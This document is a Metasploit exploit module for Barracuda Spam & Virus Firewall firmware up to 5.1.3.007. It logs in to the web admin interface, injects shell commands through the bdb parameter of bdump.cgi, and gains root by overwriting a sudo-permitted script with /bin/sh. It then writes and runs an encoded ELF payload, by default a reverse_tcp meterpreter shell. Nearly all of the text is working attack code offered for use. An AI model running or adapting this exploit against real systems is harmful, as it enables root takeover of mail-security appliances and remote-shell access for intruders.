Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit)

# Exploit Title: Barracuda Spam & Virus Firewall Post Auth Remote Root Exploit
# Date: 07/21/16
# Exploit Author: xort xort@blacksecurity.org 
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/landing/pages/spamfirewall/
# Version: Spam and Virus Firewall <= 5.1.3.007
# Tested on: Spam & Virus Firewall 5.1.3.007 
# CVE : None.

require 'msf/core'
require 'date'
require "base64"

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Spam & Virus Firewall (bdump.cgi) Post Auth Root Exploit',
			'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Barracuda Spam & Virus firewall firmware version <= 5.1.3.007 by exploiting a
				vulnerability in the web administration interface.
					By sending a specially crafted request it's possible to inject system
				 commands while escalating to root do to relaxed sudo configuration on the local 
				machine.
			},	
			'Author'         => [ 'xort' ], # disclosure and exploit module
			'References'     => [ [ 'none', 'none'] ],
			'Platform'       => [ 'linux'],
			'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
			'Targets' => [['Spam Firewall firmware: 5x', {}]],
			'DefaultTarget'  => 0 ))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Password', "admin" ]),	
			         	OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

	def do_login(username, password_clear, et)
		vprint_status( "Logging into machine with credentials...\n" )
		
	        # vars
		timeout = 1550;
		enc_key = Rex::Text.rand_text_hex(32)
		
		# send request	
	        res = send_request_cgi(
      	        {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
		      'vars_post' =>
		        {
		          'password_clear' => password_clear,
          		  'real_user' => "",
          		  'login_state' => "out",
          		  'enc_key' => enc_key,
          		  'et' => et,
          		  'locale' => "en_US",
          		  'user' => username,
          		  'password' => Digest::MD5.hexdigest(username+enc_key),
          		  'enctype' => "MD5",
          		  'password_entry' => "",
		        }
                }, timeout)

	        # get rid of first yank 
	        password = res.body.split('\n').grep(/(.*)id=\"password\" value=\"(.*)\"/){$2}[0] #change to match below for more exact result
		et = res.body.split('\n').grep(/(.*)id=\"et\" value=\"([^\"]+)\"/){$2}[0]

		return password, et
	end

	def run_command(username, password, et, cmd)

                # file to replace
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/mysql_add_cluster_user.sh"

		sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}" 
		sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c " 

		vprint_status( "Running Command...\n" )

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
		cmd = Base64.strict_encode64(cmd) 

                # Create injection string. 
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
	
		vprint_status( "sending..." )
	        res = send_request_cgi({
         	   'method' => 'GET',
	           'uri'    => "/cgi-mod/bdump.cgi",
		   'headers' => 
			{
				'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
				'Accept-Language' => "en-US,en;q=0.5"
			},
		    'vars_get' => {
            		'password' => password, 
            		'et' => et,
            		'user' => username,
            		'role' => 'admin',
			'_dc' => '',
            		'bdb' => '`' + injection_string + '`',
            		'locale' => 'en_US'
        		}
	        })	
	end

	def exploit

		# params
		timeout = 1550;

                real_user = "";
		et = Time.now.to_i  
		user = datastore['USERNAME']
		password = datastore['PASSWORD']

		# do login and get password hash
		password_hash, et = do_login(user, password, et)
		vprint_status("got password hash: #{password_hash}\n")
		sleep(2)
	
		# clean up hanging prior request 	
		run_command(user, password_hash, et, ("ps -df|grep bdump|awk '{print $2}' | xargs kill -9"))
		sleep(5)

                #if no 'CMD' string - add code for root shell
		if not datastore['CMD'].nil? and not datastore['CMD'].empty?

			cmd = datastore['CMD']	
			
			# Encode cmd payload	
			encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') 

			# kill stale calls to bdump from previous exploit calls for re-use
			run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
		else	
			# Encode payload to ELF file for deployment	
			elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
	        	encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') 

			# kill stale calls to bdump from previous exploit calls for re-use
			run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
		
			handler
		end
	end
end